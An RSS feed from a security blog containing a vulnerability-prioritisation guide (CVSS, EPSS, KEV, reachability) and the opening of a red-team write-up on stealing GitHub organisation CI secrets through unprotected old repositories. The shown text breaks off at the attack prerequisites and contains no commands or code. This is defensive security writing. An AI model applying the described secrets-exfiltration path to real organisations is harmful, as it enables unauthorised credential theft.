<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>supply chain security Archives -</title>
	<atom:link href="https://barriersec.com/tag/supply-chain-security/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/tag/supply-chain-security/</link>
	<description></description>
	<lastBuildDate>Fri, 27 Oct 2023 10:23:05 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>supply chain security Archives -</title>
	<link>https://barriersec.com/tag/supply-chain-security/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Open Source Vulnerability Management : Insights on Prioritisation</title>
		<link>https://barriersec.com/2023/10/open-source-vulnerability-management-insights-on-prioritisation/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Fri, 27 Oct 2023 11:37:01 +0000</pubDate>
				<category><![CDATA[Appsec]]></category>
		<category><![CDATA[vulnerability prioritisation]]></category>
		<category><![CDATA[EPSS]]></category>
		<category><![CDATA[KEV]]></category>
		<category><![CDATA[supply chain security]]></category>
		<category><![CDATA[third party dependency management]]></category>
		<category><![CDATA[vulnerability management]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=876</guid>

					<description><![CDATA[<p>In virtually every company, developers rely on open-source libraries and third-party code to expedite their development efforts. While this approach&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/10/open-source-vulnerability-management-insights-on-prioritisation/">Open Source Vulnerability Management : Insights on Prioritisation</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>In virtually every company, developers rely on open-source libraries and third-party code to expedite their development efforts. While this approach can be highly beneficial, it also introduces unique risks that require careful consideration.</p>
<p>One significant concern revolves around Open Source License Obligations, a topic that deserves its own post to delve into in depth. Furthermore, it&#8217;s essential to address disclosed security vulnerabilities associated with these libraries.Traditionally, the mantra for many internal security teams has been to &#8220;run a vulnerability scanner and fix all &#8216;High&#8217; and &#8216;Critical&#8217; issues&#8221; when dealing with security problems in third-party libraries. However, this approach may prove impractical in fast-paced or large companies with a microservices architecture.</p>
<p>In a typical company that employs a microservices based architecture, there may be hundreds of microservices, each with a unique set of third-party open-source dependencies spanning a wide range of technology stacks. Monitoring these service-level third-party dependencies using popular scanners like Dependabot can lead to an influx of daily alerts. These alerts cover a spectrum of issues, from straightforward package version upgrades to complex dependency conflicts.</p>
<p>Most of these scanners assign a severity rating based on the Common Vulnerability Scoring System (CVSS), with Version 3 (CVSS V3) being the widely adopted standard at the time of this writing. However, crafting security policies and making decisions solely based on the CVSS score can lead to an overwhelming number of vulnerabilities to address. This can result in developers not taking these alerts seriously or struggling to manage them effectively.</p>
<h4><strong>Prioritising Vulnerabilities Detected by Scanners:</strong></h4>
<p>Vulnerability prioritisation is an essential process in modern cybersecurity that involves identifying and ranking security vulnerabilities based on their severity and potential impact on an organization&#8217;s systems and data. Prioritisation is crucial because it allows security teams to focus their limited resources on the most critical vulnerabilities, thereby reducing the overall risk to the organization.</p>
<h4 data-renderer-start-pos="504"><strong>Why Do we Need Vulnerability Prioritisation?</strong></h4>
<p>At present, the Common Vulnerability Scoring System (CVSS) serves as a widely embraced approach for evaluating the seriousness of security vulnerabilities. It assigns a numerical rating on a scale from 0 to 10 to gauge the potential impact of a vulnerability, taking into consideration factors such as the intricacy of the exploit and the potential consequences for the compromised system. Although the CVSS scoring system proves valuable for prioritising vulnerabilities, it does have certain constraints that limit its effectiveness when used in isolation.</p>
<p>To begin with, the CVSS scoring system relies on a set of predefined metrics, which may not fully capture the intricacies and repercussions of certain vulnerabilities. For instance, a vulnerability might receive a less severity rating according to the CVSS score, yet in reality, it could be a part of a more extensive attack sequence that might lead to a significant security breach.</p>
<p>Additionally, the CVSS scoring system primarily concentrates on technical aspects and does not factor in the business impact of a vulnerability. This can result in situations where vulnerabilities with substantial implications for business operations or critical data receive lower severity ratings than less impactful vulnerabilities.</p>
<p>Finally, the CVSS scoring system doesn&#8217;t incorporate the likelihood of a vulnerability being exploited in real-world scenarios. Vulnerabilities with low CVSS scores may still be actively targeted by malicious actors if there are no effective countermeasures in place or if the vulnerability is part of a widespread cyberattack campaign.</p>
<h4>How Can We Achieve Vulnerability Prioritisation?</h4>
<p>There are few crucial attributes to look at whenever we analyse a third party library security alert. Note that this can be extensively applied to other assets / systems. (containers, servers etc)</p>
<ol>
<li>Is it a direct / transitive dependency?</li>
<li>Is it a runtime / Development Dependency ?</li>
<li>Is the vulnerable function from the affected dependency reachable by first party code?(Reachability Analysis)</li>
<li>What are the attack trends associated with the discovered vulnerability(PoC exploit available? etc) and how to prioritise based on such trends?</li>
<li>Is Patch Available / package abandoned by maintainer?</li>
</ol>
<h5><strong>Is it a direct / transitive dependency?</strong></h5>
<p>Security vulnerabilities in your project&#8217;s / service&#8217;s <strong>direct dependencies</strong> should be given the <strong>highest priority</strong>. These are the libraries or packages you explicitly include in your project, and any vulnerabilities in them directly affect your code. Transitive dependencies are the libraries or packages that your direct dependencies rely on.While they are not directly part of your codebase, they can still pose a risk if they have known security issues.</p>
<h5><strong>Is it a runtime / Development Dependency ?</strong></h5>
<p>If you work in a typical company environment that was described earlier, you would know about 10&#8217;s of ReDOS vulnerability alerts that are marked as &#8220;High&#8221; on a day to day basis by these scanners . dependencies marked with &#8220;development&#8221; attribute  . DevDependencies often include things like testing frameworks, build tools, linters, and other development-related libraries or packages. These dependencies are essential for developers working on the project to ensure code quality, test functionality, and build the software, but they do not need to be installed or included in the final production deployment.</p>
<p>In contrast, &#8220;dependencies&#8221; (without the &#8220;dev&#8221; prefix) refer to the packages or libraries that a software project relies on for its normal operation during runtime. These are essential components of the software and must be installed and available when the software is used in production.</p>
<p><strong>Runtime Dependency</strong> <strong>issues</strong> should be given the <strong>highest priority</strong> as its reachable / exposed to attackers when application is in production.</p>
<p><strong>Tip: Dependabot has a rule which can be configured to auto dismiss low impactful alerts and can be enabled in security analysis settings.</strong></p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-878" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM.png" alt="" width="1710" height="600" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM.png 1710w, https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM-300x105.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM-1024x359.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM-768x269.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM-1536x539.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-10-27-at-9.52.25-AM-1600x561.png 1600w" sizes="(max-width: 1710px) 100vw, 1710px" /></p>
<h5><strong>Is the vulnerable function / code from the affected third party dependency reachable by first party code?(Reachability Analysis)</strong></h5>
<p>Next prioritisation attribute to look at is &#8220;<strong>Reachability</strong>&#8221; . Vulnerability can only be exploited by a threat actor if our first party code consumes vulnerable function from the third party library and is reachable to an external threat actor via any means. ( functionality on web etc). There are several Reachability analysis tools which are efficient &amp; commercial for automated reachability analysis for better prioritisation. ( <a href="https://www.endorlabs.com/">https://www.endorlabs.com/  </a>&amp; <a href="https://semgrep.dev/products/semgrep-supply-chain/">https://semgrep.dev/products/semgrep-supply-chain/</a> ) .</p>
<p><strong>Vulnerabilities which are reachable by first party code should be given highest priority. </strong>If you plan to conduct manual reachability analysis, it&#8217;s crucial to recognize that this should be an ongoing, recurrent task. Even if there are currently no existing references for your analysis, it&#8217;s essential to acknowledge the potential for such references to emerge in the future. This looming possibility, often likened to a &#8220;ticking time bomb,&#8221; underscores the importance of not disregarding this task. Utilising automated reachability analysis tools is the recommended approach to address this concern effectively.</p>
<h5><strong>What are the attack trends associated with the discovered vulnerability(PoC exploit available?) and how to prioritise based on such trends?</strong></h5>
<p>Most of the alerts received by scanners has a CVSS score and CVE ID attached.As CVSS v3 do not take into account of attack trends , For effective prioritisation of vulnerabilities , it can be combined with metrics such as <strong data-renderer-mark="true">Exploit Predictability Score System ( EPSS ) and can be clubbed with other feeds such as CISA’s Known Exploited Vulnerabilities Catalog ( KEV).</strong></p>
<h6><strong data-renderer-mark="true">Exploit Predictability Score System : (EPSS) (<a href="https://www.first.org/epss/">here</a>)</strong></h6>
<p data-renderer-start-pos="2079">One effective method of prioritisation is the use of an exploit predictability score system, which assigns a score to vulnerabilities based on the likelihood that they will be exploited by threat actors in next 30 days. The system works by analysing factors such as the availability of exploit code, the complexity of the vulnerability, and the popularity of the affected software or system. By using an exploit predictability score system to prioritise vulnerabilities, organisations can focus their efforts on addressing the most critical threats first. This approach allows security teams to efficiently allocate resources and remediate vulnerabilities before they are exploited, thereby reducing the risk of data breaches, downtime, and other security incidents.</p>
<h6 data-renderer-start-pos="3150"><strong data-renderer-mark="true">CISA’s Known Exploited Vulnerabilities Catalog: (KEV)(<a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">here</a>)</strong></h6>
<p data-renderer-start-pos="3205">CISA&#8217;s Known Exploited Vulnerabilities Catalog is a public database maintained by the United States Cybersecurity and Infrastructure Security Agency (CISA). The catalog provides information on known vulnerabilities that have been exploited by cybercriminals, as well as information on the tactics, techniques, and procedures (TTPs) used in those attacks.The catalog contains a list of Common Vulnerabilities and Exposures (CVEs) that have been actively exploited by threat actors, along with information on the types of attacks and malware associated with each CVE. The catalog is regularly updated with new information as it becomes available, making it a valuable resource for security teams and other stakeholders.</p>
<p data-renderer-start-pos="3205">The following Sample Prioritisation matrix can be used internally for better prioritisation of vulnerabilities combining CVSS V3 Severity , EPSS Score and KEV.</p>
<table data-testid="renderer-table" data-number-column="false">
<colgroup>
<col />
<col />
<col />
<col /></colgroup>
<tbody>
<tr>
<th class="ak-renderer-tableHeader-sortable-column__wrapper" colspan="1" rowspan="1" data-colwidth="190" aria-sort="none">
<div class="ak-renderer-tableHeader-sortable-column">
<p data-renderer-start-pos="4"><strong data-renderer-mark="true">CVSS v3 Severity</strong></p>
<figure class="ak-renderer-tableHeader-sorting-icon__wrapper ak-renderer-tableHeader-sorting-icon__no-order">
<div role="presentation">
<div class="ak-renderer-tableHeader-sorting-icon confluence-ssr-app-gls7uu" tabindex="0" role="button" aria-label="No sort applied to the column" aria-disabled="false" aria-describedby="967val-tooltip">
<div class="sorting-icon-svg__no_order ak-renderer-tableHeader-sorting-icon-inactive confluence-ssr-app-37qivc">
<div class="confluence-ssr-app-1h55k8m"></div>
</div>
</div>
</div>
</figure>
</div>
</th>
<th class="ak-renderer-tableHeader-sortable-column__wrapper" colspan="1" rowspan="1" data-colwidth="190" aria-sort="none">
<div class="ak-renderer-tableHeader-sortable-column">
<p data-renderer-start-pos="24"><strong data-renderer-mark="true">EPSS V3 Probability Score</strong></p>
<figure class="ak-renderer-tableHeader-sorting-icon__wrapper ak-renderer-tableHeader-sorting-icon__no-order">
<div role="presentation">
<div class="ak-renderer-tableHeader-sorting-icon confluence-ssr-app-gls7uu" tabindex="0" role="button" aria-label="No sort applied to the column" aria-disabled="false" aria-describedby="968val-tooltip">
<div class="sorting-icon-svg__no_order ak-renderer-tableHeader-sorting-icon-inactive confluence-ssr-app-37qivc">
<div class="confluence-ssr-app-1h55k8m"></div>
</div>
</div>
</div>
</figure>
</div>
</th>
<th class="ak-renderer-tableHeader-sortable-column__wrapper" colspan="1" rowspan="1" data-colwidth="190" aria-sort="none">
<div class="ak-renderer-tableHeader-sortable-column">
<p data-renderer-start-pos="53"><strong data-renderer-mark="true">Is in KEV Database?</strong></p>
<figure class="ak-renderer-tableHeader-sorting-icon__wrapper ak-renderer-tableHeader-sorting-icon__no-order">
<div role="presentation">
<div class="ak-renderer-tableHeader-sorting-icon confluence-ssr-app-gls7uu" tabindex="0" role="button" aria-label="No sort applied to the column" aria-disabled="false">
<div class="sorting-icon-svg__no_order ak-renderer-tableHeader-sorting-icon-inactive confluence-ssr-app-37qivc">
<div class="confluence-ssr-app-1h55k8m"></div>
</div>
</div>
</div>
</figure>
</div>
</th>
<th class="ak-renderer-tableHeader-sortable-column__wrapper" colspan="1" rowspan="1" data-colwidth="190" aria-sort="none">
<div class="ak-renderer-tableHeader-sortable-column">
<p data-renderer-start-pos="76"><strong data-renderer-mark="true">Final Internal Priority</strong></p>
<figure class="ak-renderer-tableHeader-sorting-icon__wrapper ak-renderer-tableHeader-sorting-icon__no-order">
<div role="presentation">
<div class="ak-renderer-tableHeader-sorting-icon confluence-ssr-app-gls7uu" tabindex="0" role="button" aria-label="No sort applied to the column" aria-disabled="false" aria-describedby="970val-tooltip">
<div class="sorting-icon-svg__no_order ak-renderer-tableHeader-sorting-icon-inactive confluence-ssr-app-37qivc">
<div class="confluence-ssr-app-1h55k8m"></div>
</div>
</div>
</div>
</figure>
</div>
</th>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="105">Critical</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="117">ANY</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="124">Yes</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="131"><strong data-renderer-mark="true">P0</strong> if reachable by First Party Code, <strong data-renderer-mark="true">P2</strong> if not reachable</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="193">High</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="203">ANY</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="210">Yes</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="217"><strong data-renderer-mark="true">P1</strong> if reachable by First Party Code , <strong data-renderer-mark="true">P2</strong> if not reachable.</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="281">Medium</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="293">ANY</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="300">Yes</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="307"><strong data-renderer-mark="true">P2</strong> if reachable by First Party Code , <strong data-renderer-mark="true">P3</strong> if not reachable.</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="372">Critical</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="384">0.088 &amp; above</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="401">No</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="407"><strong data-renderer-mark="true">P0</strong> if reachable by First Party Code , <strong data-renderer-mark="true">P2</strong> if not reachable.</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="472">High</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="480">0.088 &amp; above</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="497">No</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="503"><strong data-renderer-mark="true">P1</strong> if reachable by First Party Code , <strong data-renderer-mark="true">P3</strong> if not reachable.</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="567">Medium</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="578">0.088 &amp; above</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="595">No</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="601"><strong data-renderer-mark="true">P2</strong> if reachable by First Party Code , <strong data-renderer-mark="true">P3</strong> if not reachable.</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="666">High / Critical</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="686">&lt; 0.088</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="697">No</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="703"><strong data-renderer-mark="true">P2</strong> if reachable by First Party Code, <strong data-renderer-mark="true">P3</strong> if not reachable.</p>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="766">Medium</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="776">&lt; 0.088</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="787">No</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="793"><strong data-renderer-mark="true">P3</strong></p>
</div>
</td>
</tr>
<tr>
<td colspan="1" rowspan="1" data-colwidth="190">
<p data-renderer-start-pos="801">Low</p>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="810">ANY</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="817">ANY</p>
</div>
</td>
<td colspan="1" rowspan="1" data-colwidth="190">
<div class="fabric-editor-block-mark fabric-editor-alignment confluence-ssr-app-1mg5rgz" data-align="center">
<p data-renderer-start-pos="824"><strong data-renderer-mark="true">P3</strong></p>
</div>
</td>
</tr>
</tbody>
</table>
<p>this matrix , assumes you are not using automated reachability analysis tools and are blinded by the &#8220;time bomb&#8221; scenario that was mentioned in the reachability part. Offering development teams a bit of extra buffer time for issue resolution would undoubtedly be appreciated. The prioritisation matrix can be tailored to align with your company&#8217;s preferences and risk tolerance</p>
<h6><strong>Example :</strong></h6>
<p>lets assume &#8216;<strong>P0</strong>&#8216; critical vulnerability in your third party library discovered via an alerting tool. and <strong>SLA to fix P0 is 48 hours , SLA to fix P1 is 72 hours ,SLA to fix P2 is 7 days , SLA to fix P3 is 15 days.</strong></p>
<p>Without the above prioritisation ,final priority would be <strong>&#8220;P0&#8221;</strong> Developers need to fix this issue within <strong>48 hours</strong>. considering the above prioritisation , assuming <strong>EPSS score</strong> is <strong>&lt; 0.088</strong> and not reachable by first party code &amp; also vulnerability is not available in KEV catalog, its final priority would be <strong>P3, buying 13 more days of time to fix</strong> .</p>
<p><strong>Note : EPSS score (<a href="https://www.first.org/epss/api">api</a>), KEV catalog(<a href="https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json">here</a>) details should be fetched every day as scores are updated everyday and can be used for reprioritisation of historical open alerts based on the changes. Reachability analysis should be done on recurring basis to make sure there are no new references after past analysis.</strong></p>
<h6><strong>Why have we taken 0.088 as EPSS V3 score baseline?</strong></h6>
<p>As rightly highlighted <a href="https://www.endorlabs.com/blog/epss-exploit-prediction-reachability-analysis">here</a> , the following baseline score was chosen. it can be modified as per companies risk appetite and availability of resources to fix the vulnerability .</p>
<h5>Is Patch Available / package abandoned by maintainer?</h5>
<p>Frequently, identified vulnerabilities lack an active patch, and, in more concerning cases, the maintainer has abandoned them. It is essential to give priority to alerts with available patches, but abandoned vulnerabilities should not be disregarded. They still represent potential threats, and their prioritization can be based on other attributes and the availability of potential workarounds. Considering an abandoned package as a risk, exploring the transition to an alternative package, or even taking on in-house maintenance can be viable steps in mitigating this risk.</p>
<h3>References :</h3>
<ol>
<li><a href="https://www.endorlabs.com/blog/epss-exploit-prediction-reachability-analysis">https://www.endorlabs.com/blog/epss-exploit-prediction-reachability-analysis</a></li>
<li><a href="https://arxiv.org/pdf/2302.14172.pdf">https://arxiv.org/pdf/2302.14172.pdf</a></li>
<li><a href="https://www.first.org/epss/#">https://www.first.org/epss/#</a></li>
<li><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">https://www.cisa.gov/known-exploited-vulnerabilities-catalog</a></li>
</ol>
<p>&nbsp;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/10/open-source-vulnerability-management-insights-on-prioritisation/">Open Source Vulnerability Management : Insights on Prioritisation</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Github Misconfiguration to Secrets Exfiltration</title>
		<link>https://barriersec.com/2023/09/github-misconfiguration-to-secrets-exfiltration/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Fri, 08 Sep 2023 13:52:28 +0000</pubDate>
				<category><![CDATA[Supply Chain Security]]></category>
		<category><![CDATA[github misconfiguration]]></category>
		<category><![CDATA[persistence]]></category>
		<category><![CDATA[redteam]]></category>
		<category><![CDATA[secrets exfiltration]]></category>
		<category><![CDATA[supply chain security]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=804</guid>

					<description><![CDATA[<p>A few months ago, while on a private engagement, i stumbled upon limited access to a Github organisation account. Github&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/09/github-misconfiguration-to-secrets-exfiltration/">Github Misconfiguration to Secrets Exfiltration</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>A few months ago, while on a private engagement, i stumbled upon limited access to a Github organisation account. Github Organisation contained multiple source code repositories using Github actions as their CI to run custom unit tests and among other jobs.I also noticed , most of the repositories default branches hardened sufficiently with branch protection rules which involved multiple reviews before code gets merged to main/release branch. There were also restrictions to create new Github repositories.</p>
<p>Before we move to exploitation part, lets understand some basics of github version control and CICD systems. Folks who have experience with github ecosystem can skip this part and directly move to Misconfig part.</p>
<h3><strong>Basics of CI/CD Workflows :</strong></h3>
<p>GitHub provides companies with the ability to create an organization to store their source code repositories. Within these organisations, multiple repositories can be created, each with its own visibility settings: either as <strong>Private</strong>, safeguarding proprietary code, or <strong>Public</strong>, facilitating open-source project contributions, depending on the specific needs and objectives of the organization.</p>
<p>In the context of GitHub repositories, they serve as repositories for source code, and in modern software development practices, they often come equipped with automated pipelines tailored for continuous deployment and continuous integration (CI/CD) purposes. This setup streamlines the process of integrating new code changes into existing production codebases. When a developer aims to introduce a new feature or improvement, they initiate a pull request against the production codebase. Subsequently, the <strong>CI</strong> system orchestrates a battery of automated unit tests and other checks to ensure that these changes do not compromise the stability or security of the codebase.</p>
<div class="flex-1 overflow-hidden">
<div class="react-scroll-to-bottom--css-jxyvc-79elbk h-full dark:bg-gray-800">
<div class="react-scroll-to-bottom--css-jxyvc-1n7m0yu">
<div class="flex flex-col text-sm dark:bg-gray-800">
<div class="group w-full text-token-text-primary border-b border-black/10 dark:border-gray-900/50 bg-gray-50 dark:bg-[#444654]" data-testid="conversation-turn-4">
<div class="p-4 justify-center text-base md:gap-6 md:py-6 m-auto">
<div class="flex flex-1 gap-4 text-base mx-auto md:gap-6 md:max-w-2xl lg:max-w-[38rem] xl:max-w-3xl }">
<div class="relative flex w-[calc(100%-50px)] flex-col gap-1 md:gap-3 lg:w-[calc(100%-115px)]">
<div class="flex flex-grow flex-col gap-3 max-w-full">
<div class="min-h-[20px] flex flex-col items-start gap-3 overflow-x-auto whitespace-pre-wrap break-words">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>Once these checks pass, the <strong>CD</strong> system takes over, automating the deployment of the new feature to the production infrastructure, following thorough checks and approvals. This CI/CD orchestration offers convenience and efficiency, significantly reducing the time and effort required by both the infrastructure and development teams.</p>
<p>However, for these automated <strong>CI/CD</strong> systems to function effectively, they often require access to sensitive information, such as secret keys or credentials. For instance, the <strong>CI</strong> system might need to interact with third-party systems, while the <strong>CD</strong> system may require access to sensitive keys for deploying to cloud infrastructure. To maintain security best practices and avoid hardcoding secrets directly into CI/CD configuration files, organisations employ various strategies to securely manage these secrets.</p>
<p>Depending on the specific needs and the CI/CD systems in use, companies can employ different approaches to store secrets securely. Some popular CI/CD systems include GitHub Actions (native to the GitHub ecosystem), CircleCI, Jenkins, among others. Organisations often create customised combinations of these systems to meet their unique requirements. For instance, a company might utilise GitHub Actions for certain CI checks and CircleCI for additional checks and deployments.</p>
<p>In scenarios where companies natively employ GitHub Actions for their CI checks, they have several options for securely storing the secrets required by these actions. These secrets can be stored at the <strong>repository level</strong>, at the <strong>organization level</strong>, or <strong>tied to specific environments</strong>, offering flexibility and granular control over access to sensitive information.</p>
<ol>
<li><strong>Repository Secrets</strong>:
<ul>
<li><strong>Repository Secrets</strong> when you have specific secrets or credentials that are only needed for a particular repository.</li>
<li>Ideal for project-specific keys, tokens, or credentials.</li>
<li>Ensures that secrets are scoped to the individual repository and not accessible across the entire organization.</li>
</ul>
</li>
<li><strong>Organization Secrets</strong>:
<ul>
<li><strong>Organization Secrets</strong> when you have secrets or credentials that are needed across multiple repositories within your organization.</li>
<li>Useful for shared services, credentials for multiple projects, or global configurations.</li>
<li>Simplifies management by centralising secrets at the organization level, reducing redundancy.</li>
</ul>
</li>
<li><strong>Environment Deployment Secrets</strong>:
<ul>
<li><strong>Environment Deployment Secrets</strong> when secrets are specific to a particular deployment environment, such as development, staging, or production.</li>
<li>These secrets ensure that each environment has access to the necessary configurations, keys, or credentials without exposing them broadly.</li>
</ul>
</li>
</ol>
</div>
</div>
</div>
<div class="flex justify-between lg:block">
<div class="text-gray-400 flex self-end lg:self-center justify-center mt-2 gap-2 md:gap-3 lg:gap-1 lg:absolute lg:top-0 lg:translate-x-full lg:right-0 lg:mt-0 lg:pl-2 visible">
<div class="flex gap-1">We identified that the current organisation were using Github Actions for their CI checks and Jenkins / Circle CI for additional CI checks and CD.</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="h-32 md:h-48 flex-shrink-0"></div>
<p><strong style="color: #353535; font-size: 2em;">Mis-config 1 &#8211; Exfiltrate Organisation Secrets</strong><span style="color: #353535; font-size: 2em; font-weight: bold;"> :</span></p>
</div>
</div>
</div>
</div>
<p>I came across several repositories that appeared to be quite old, lacking or having disabled branch protection rules. These repositories seemed to have served as temporary storage for Proof of Concept projects and were left neglected without being archived. Suddenly, a recent memory of a blog post I read, titled &#8220;SLSA and DIP: It&#8217;s Build Time&#8221; (<a href="https://boostsecurity.io/blog/slsa-dip-its-build-time" target="_new" rel="noopener">https://boostsecurity.io/blog/slsa-dip-its-build-time</a>), flashed through my mind. It struck me that this situation could potentially lead to a misconfiguration that might allow unauthorized access to secrets stored at the organization level with default settings.</p>
<p>This situation raised a red flag, as it represents a classic case of an insider threat or privilege escalation. In an ideal company setup, the DevOps team would be responsible for and have access to secrets stored at the organization level. However, this misconfiguration could potentially lead to unauthorised elevation of privileges, creating a serious security concern.</p>
<p><strong>To exploit this misconfiguration, the following prerequisites should be considered:</strong></p>
<ol>
<li><strong>Repository Creation or Write Access</strong>: The attacker must possess one of the following capabilities:
<ul>
<li>The ability to create a new repository within a private organization.</li>
<li>Write access to a repository that lacks branch protection rules.</li>
